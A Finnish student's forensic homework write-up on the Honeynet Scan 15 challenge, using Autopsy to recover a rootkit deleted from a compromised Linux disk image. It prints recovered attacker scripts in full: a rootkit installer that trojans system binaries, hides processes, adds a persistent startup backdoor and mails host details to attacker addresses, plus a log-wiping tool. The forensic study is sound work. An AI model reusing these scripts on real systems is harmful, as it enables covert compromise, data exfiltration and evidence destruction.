Tässä artikkelissa tutkitaan saastunutta levykuvaa Autopsylla.

Viikon 3 kotitehtävä tulee valitettavasti lähes viikon myöhässä. En päässyt viime viikon tunneilla jossa näitä aiheita käsiteltiin, ja kotitehtävän aloittaminen oli hankalaa pelkästään tiedolla “tee honeynet scan of week 15″ joten se jäi tekemättä. Tämän viikon tunneilla katsottiin joidenkin vastauksia, ja asia selkisi edes vähän. Yritän nyt 11.2.2012 tehdä tämän kotitehtävän katsomatta muiden vastauksia tai mallivastauksia.

Tunneilta jäi päähän jo jonkun verran esitietoa: mounttaaminen ja tutkiminen hoituu autopsy -nimisellä ohjelmalla, tiedostossa lk.tgz oli jotain, ilmeisesti poistetuissa Orphan-Fileissa oli jotain ja esimerkiksi stringillä voi tutkia binääritiedostoja.

1. 1 Alkuvalmistelut {#1_Alkuvalmistelut}

Asensin pöytäkoneelleni VirtualBoxin ja siihen Ubuntu 11.10 käyttöjärjestelmän 32 bittisenä. Päivitin tietysti asennuksen jälkeen kaikki paketit, ja asensin VirtualBoxin asiakaslisäosat, jotta hiiri ja näytön koon muuttaminen sujuu paremmin. Seuraavaksi asensin autopsyn komennolla sudo apt-get install autopsy ja käynnistin ohjelman komennolla sudo autopsy.

Seuraavaksi hain tehtävänannon netistä, Google avulla löysin osoitteeseen http://old.honeynet.org/scans/scan15/ joka näytti oikealta. Latasin paketin http://old.honeynet.org/scans/scan15/honeynet.tar.gz kotihakemistooni wgetillä, ja purin tiedoston komennolla tar -xzf honeynet.tar.gz jolloin .dd levynkuva ilmestyi polkuun /home/jkw/honeynet/honeypot.hda8.dd.

2. 2 Autopsy {#2_Autopsy}

Seuraavaksi menin autopsyn käynnistyessään ehdottamaan osoitteeseen http://localhost:9999/autopsy Firefox-selaimella. Selaimeen avautui nätisti autopsyn etusivu, josta alalaidan New case -nappulaa klikkaamalla pääsi luomaan uuden tapauksen tutkittavaksi.

Syötin ylläolevassa kuvankaappauksessa näkyvät tiedot ja painoin New Case -nappulaa. Seuraava sivu kertoi että case directory /var/lib/autopsy/month15/ on luotu, ja pyysi luomaan hostin, joten jatkoin seuraavalle sivulle Add Host -painikkeella. Annoin kaikkien asetusten olla oletuksena (Host name: host1) ja painoin taas Add host -painiketta. Seuraavaksi sivu pyysi lisäämään tutkittavan levynkuvan, ja minähän lisäsin allaolevin asetuksin:

Seuraavalta sivulta jatkoin valittuani, että haluan tarkastaa levykuvan MD5-tarkisteen. Autopsy ilmoitti seuraavalla sivulla sen olevan 5A8EBF5725B15E563C825BE85F2F852E joka täsmää Honeynetin sivuilla ilmoitettuun. Tosin, eihän tästä ollut sinänsä hyötyä, kun Honeynetin sivut ja image olivat samalta nettisivulta. Noh, tulipa varmistettua että image on kokonainen ja kunnossa.

Seuraavaksi pääsinkin alla näkyvälle autopsyn “valikkosivulle”. En ollut lukenut ohjeita järjestelmän käyttöön, joten klikkasin vaan kiinnostavimmalta tuntuvaa Analyze -painiketta.

Seuraavaksi valitsin File Analysis toiminnon ja pääsin tarkastelemaan levykuvan tiedostorakennetta alla olevassa näkymässä.

Tässä vaiheessa kyllästyin autopsyn käyttöliittymään ja halusin päästä katsomaan levykuvan sisältöä oikeasti. Olin siinä käsityksessä että autopsy olisi mountannut imagen hakemistoon /var/lib/autopsy/month15/ mutta en kyllä löytänyt sieltä mitään järkevää. Tässä vaiheessa rupesin miettimään, mikä tämän autopsyn rooli tässä tutkimiksessa oli. Voisinhan mountata levykuvan ihan oikeasti ja tutkia sitä komentorivillä. Varsinkin kun olin juuri asennetussa Linuxissa Virtualboxin kautta, ja voisin joko mounttauksen yhteydessä tai myöhemmin chmod-komennolla määritellä, ettei mitään mountpointista löytyvää voi ajaa koneella. Vaikka image luultavasti sisältäisikin haitallista koodia, ei tässä alkutilanteessa ollut kovin suuria riskejä.

3. 3 Imagen mounttaus ja tutkiminen {#3_Imagen_mounttaus_ja_tutkiminen}

Mounttasin imagen hakemistoon /mnt/month15/ luomalla ensin hakemiston komennolla sudo mkdir /mnt/month15 ja sitten tekemällä itse mounttauksen komennolla sudo mount /home/jkw/honeynet/honeypot.hda8.dd /mnt/month15/ ja hämmästyksekseni komento jopa toimi, eikä vaatinut -o loop valintaa. Kun sitten rupesin tarkastelemaan /mnt/month15/ sisältöä…

jkw@ubuntu32-vb:~$ ls /mnt/month15/
bin   dev  floppy  lib         mnt  proc  sbin  usr
boot  etc  home    lost+found  opt  root  tmp   var

…hämmästys oli suuri. Sisältö ei näyttänyt yhtään samalta kuin autopsyssa, missä on lk.tgz ja kaikki OrphanFilesit? Tämä taisikin olla se mihin autopsyta tarvittiin, eli ilmeisesti nuo tiedostot on järjestelmästä poistettu jolloin ne eivät näy normaalisti mutta autopsy osaa palauttaa ne. Siirrytään siis takaisin autopsyhyn.

4. 4 Jatketaan autopsyllä {#4_Jatketaan_autopsyllä}

Menin takaisin autopsyn File Analysis -näkymään ja rupesin tutkimaan tiedostoja. Ensimmäisenä silmille hyppäsivät tiedosto lk.tgz ja hakemisto $OrphanFiles/. Kyllähän näitä oli tunnilla jo käyty, mutta olisi ne ilman sitäkin varmasti hypännyt silmään, suhteennisen selvää on että juuressa ei kuulu olla mitään tiedostoja, ja tuollaista $OrphanFilesiä en ollut koskaan nähnyt missään Linux-jakelussa.

4.1. 4.1 Tehtävänanto {#4.1_Tehtävänanto}

Tässä vaiheessa on hyvä kerrata tehtävänanto, jottei tutkita turhaan. Eli lainaus sivuilta http://old.honeynet.org/scans/scan15/:The Challenge:

On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was download to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly reccommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partion for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.

Show step by step how you identify and recover the deleted rootkit from the / partition.
What files make up the deleted rootkit?

Bonus Question:
Was the rootkit ever actually installed on the system? How do you know?

Eli ensimmäisenä pitäisi näyttää miten löydetään ja palautetaan poistettu rootkit, ja toiseksi pitäisi kertoa mitkä tiedostot muodostavat rootkitin. Ei muuta kuin tutkimaan.

4.2. 4.2 lk.tgz {#4.2_lk.tgz}

Latasin lk.tgz -tiedoston autopsystä Export -toiminnolla omaan kotihakemistooni hakemistoon lk ja purin paketin komentamalla tar -xzf vol1-1.lk.tgz jolloin työhakemistoon ilmestyi last/ -niminen hakemisto.

Eniten tästä silmille hyppää linsniffer (josta oli jo tunnilla puhetta) ja last.cgi. Jälkimmäinen ihan vaan sen takia ettei kai ihan normaaliin linuxiin cgi -tiedostot vakiona kuulu, eli tutkitaan näitä. Muut tiedostot vaikuttavat normaaleilta Linux-ohjelmilta, mutta en tietenkään nyt voi tietää ovatko ne aitoja ja turvallisia, vai muokattuja. Tarkastellaanpa ihan ensin sitä.

Latasin autopsystä tutkittavan järjestelmän /bin/ hakemistosta löytyvän tiedoston ps, ja tallensin sen omalle koneelleni samaan kansioon lk.tgz -tiedostosta puretun ps -tiedoston kanssa. Vertailin molempien md5 tarkistussummia näin:

Näyttäisivät täsmäävän. Nyt en ymmärrä miksi hyökkääjä on vaivautunut poistamaan lk.tgz tiedoston kun osa sisällöstä on järjestelmässä kuitenkin edelleen. Vai olisikohan niin, että lk.tgz sisältää hyökkääjän tarvitsemat työkalut, ja näin ollen hyökkääjä on nimenomaan korvannut alkuperäisen ps komennon omallaan, joka ei varmaankaan tee sitä mitä kuuluisi. En tiedä mikä Linux-versio

4.3. 4.3 $OrphanFiles {#4.3_$OrphanFiles}

Seuraavaksi rupesin tutkimaan autopsyllä hakemiston $OrphanFiles sisältöä. Kävin tiedostoja yksitellen läpi etsien jotain mielenkiintoista tai epäilyttävää. Ei tarvinnut kovinkaan kauaa selata sisältöjä, kun löysin tiedoston OrphanFile-2041 joka vaikutti aika epäilyttävältä.

1) 4.3.1 OrphanFile-2041 {#4.3.1_OrphanFile-2041}

Autopsy kertoi tiedoston sisällöksi seuraavaa:

Contents Of File: /1/$OrphanFiles/OrphanFile-2041

#!/bin/sh
clear
unset HISTFILE
echo    "********* Instalarea Rootkitului A Pornit La Drum *********"
echo    "********* Mircea SUGI PULA ********************************"
echo    "********* Multumiri La Toti Care M-Au Ajutat **************"
echo    "********* Lemme Give You A Tip : **************************"
echo    "********* Ignore everything, call your freedom ************"
echo    "********* Scream & swear as much as you can ***************"
echo    "********* Cuz anyway nobody will hear you and no one will *"
echo    "********* Care about you **********************************"
echo
echo
chown root.root *
if [ -f /usr/bin/make ]; then
echo "Are Make !"
else
echo "Nu Are Make !"
fi
if [ -f /usr/bin/gcc ]; then
echo "Are Gcc !"
else
echo "Nu Are Gcc !"
fi
if [ -f /usr/sbin/sshd/ ]; then
echo "Are Ssh !"
else
echo "Nu Are Ssh !"
fi
echo -n "* Inlocuim nestat ... alea alea "
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
echo "* Gata..."
echo -n "* Dev... "
echo
echo
touch /dev/rpm
>/dev/rpm
echo "3 sl2" >>/dev/rpm
echo "3 sshdu" >>/dev/rpm
echo "3 linsniffer" >>/dev/rpm
echo "3 smurf" >>/dev/rpm
echo "3 slice" >>/dev/rpm
echo "3 mech" >>/dev/rpm
echo "3 muh" >>/dev/rpm
echo "3 bnc" >>/dev/rpm
echo "3 psybnc" >> /dev/rpm
touch /dev/last
>/dev/last
echo "1 193.231.139" >>/dev/last
echo "1 213.154.137" >>/dev/last
echo "1 193.254.34" >>/dev/last
echo "3 48744" >>/dev/last
echo "3 3666" >>/dev/last
echo "3 31221" >>/dev/last
echo "3 22546" >>/dev/last
echo "4 48744" >>/dev/last
echo "4 2222" >>/dev/last
echo "* Gata"

echo "* Facem Director...Si Mutam Alea.. "
mkdir -p /dev/ida/.drag-on
mkdir -p /dev/ida/".. "
echo "* Copiem ssh si alea"
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/.drag-on/
cp linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed /dev/ida/".. "
rm -rf linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch /dev/ida/.drag-on/tcp.log
touch /dev/ida/".. "/tcp.log

cp -f inetd.conf /etc
cp -f services /etc
killall -HUP inetd
echo
echo
echo
echo "* Adaugam In Startup:) ..."
rm -rf /usr/bin/lsattr
echo "/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo >> /etc/rc.d/rc.sysinit
cp -f lsattr /usr/bin/
chmod 500 /usr/bin/lsattr
chattr +i /usr/bin/lsattr
/usr/bin/lsattr

sleep 1

if [ -d /home/httpd/cgi-bin ]
then
mv -f last.cgi /home/httpd/cgi-bin/
fi

if [ -d /usr/local/httpd/cgi-bin ]
then
mv -f last.cgi /usr/local/httpd/cgi-bin/
fi

if [ -d /usr/local/apache/cgi-bin ]
then
mv -f last.cgi /usr/local/apache/cgi-bin/
fi

if [ -d /www/httpd/cgi-bin ]
then
mv -f last.cgi /www/httpd/cgi-bin/
fi

if [ -d /www/cgi-bin ]
then
mv -f last.cgi /www/cgi-bin/
fi

echo "* Luam Informatiile dorite ..."
echo "* Info : $(uname -a)" >> computer
echo "* Hostname : $(hostname -f)" >> computer
echo "* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo "* Uptime : $(uptime)" >> computer
echo "* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >> computer
echo "* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo "* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo "* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo "* Spatiu Liber: $(df -h)" >> computer
echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo "* G A T A *"
echo
echo "* That Was Nice Last "
cd /
rm -rf last lk.tgz computer lk.tar.gz

Aiemmat epäilyni siitä, että lk.tgz sisältää muokattuja komentoja jotka hyökkääjä on siirtänyt /bin/ alle, saivat vahvistusta. Tämä scripti näyttää tekevän mm. näin:

rm -rf /bin/ps
mv ps /bin/ps

Eli scripti poistaa montakin komentoa /bin/ hakemistosta ja korvaa ne uusilla.

2) OrphanFile-2043

Myös tämä vaikutti epäilyttävältä.

Contents Of File: /1/$OrphanFiles/OrphanFile-2043

#!/bin/bash
#
# sauber - by socked [11.02.99]
#
# Usage: sauber <string>

BLK=''
RED=''
GRN=''
YEL=''
BLU=''
MAG=''
CYN=''
WHI=''
DRED=''
DGRN=''
DYEL=''
DBLU=''
DMAG=''
DCYN=''
DWHI=''
RES=''

echo "${BLK}* ${WHI}sauber ${DWHI}by ${WHI}s${BLU}o${DBLU}ck${BLK}ed [${DWHI}07${BLK}.${DWHI}27${BLK}.${DWHI}97${BLK}]${RES}"
if [ $# != 1 ]
then
echo "${BLK}* ${DWHI}Usage${WHI}: "`basename $0`" <${DWHI}string${WHI}>${RES}"
echo " "
exit
fi
echo "${BLK}*${RES}"
echo "${BLK}* ${DWHI}Cleaning logs.. This may take a bit depending on the size of the logs.${RES}"

WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -v ".gz" | grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" | grep -v "@")

for fil in $WERD
do
line=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}...${RES}"
grep -v $1 /var/log/$fil > new
touch -r /var/log/$fil new
mv -f new /var/log/$fil
newline=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
let linedel=$(($line-$newline))
echo "${WHI}$linedel ${DWHI}lines removed!${RES}"

done

killall -HUP syslogd
echo "${BLK}* ${DWHI}Alles sauber mein Meister !'Q%&@$! ${RES}"

Pikaisella vilkaisulla ohjelma näyttäisi olevan tarkoitettu erilaisten lokitietojen poistamiseen järjestelmästä. Ei vaikuta hyvältä!

3) OrpahFile-2045

Tämä vaikuttaa mielenkiintoiselta. Lyhyt skripti joka antaa syytä tarkistaa mitä tutkittavan järjestelmän /dev/ida/ hakemistosta mahtaa löytyä.

Contents Of File: /1/$OrphanFiles/OrphanFile-2045

#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

4.4. 4.4 /dev/ida/ {#4.4_/dev/ida/}

Tutkin autopsyllä tästä hakemistosta löytyviä tietoja. Hakemistossa oli vaan 0 tavun kokoisia tiedostoja ja piilotettu alihakemisto .drag-on/. Sen sisällöstä monet tiedostot näyttäisivät vastaavan OrpanFilesissa olleita, esimerkiksi logclear…

Contents Of File: /1/dev/ida/.drag-on/logclear

killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

…vastaa täysin OrphanFile-2059:ää.

Tiedostosta tcp.log alkoi löytymään mielenkiintoista tavaraa:

Contents Of File: /1/dev/ida/.drag-on/tcp.log

cr272065-a.wlfdle1.on.wave.home.com => asdf1 [21]

----- [Timed Out]

ns2.giant.net => asdf1 [23]
da#da,~daO~daO~daU~ #'da[~dac~!dan~da~?

Toinen osoite taitaa olla vaan joku nimipalvelin, enkä tuosta home.com osoitteestakaan tiedä mikä se on. Tästä hyökkäyksestähän on siis yli 10 vuotta aikaa että tuskin tuollaista on enää pystyssä, mutta home.com domain näyttää jonkun mainossivun kyllä.

Tiedostoista s, ssh_host_key ja _ssh_random_seed päättelen, että hyökkääjän tarkoituksena on saada kone sellaiseen tilaan että voi jatkossakin ottaa ssh yhteyden koneeseen.

5. 5 Lopetus {#5_Lopetus}

Tämän pitempään tutkimiseen minulla ei valitettavasti ole aikaa, pitää tehdä myös tämän viikon varsinainen kotitehtävä. Osaanko sitten vastata tehtävänannon kysymyksiin? Noh, en kovin hyvin, mutta voin arvailla että rootkit on oikeastaan /dev/ida/.drag-on/ hakemiston sisältö. Bonuskysymykseen voin veikata, että kyllä tuo rootkit on koneelle asennettu, ihan jo siitä päätellen että aiemmin läpi käyty /bin/ps md5sum täsmää lk.tgz tiedostosta löytyvän kanssa. Eli tuo rootkitin asennus-scripti on kyllä ainakin ajettu.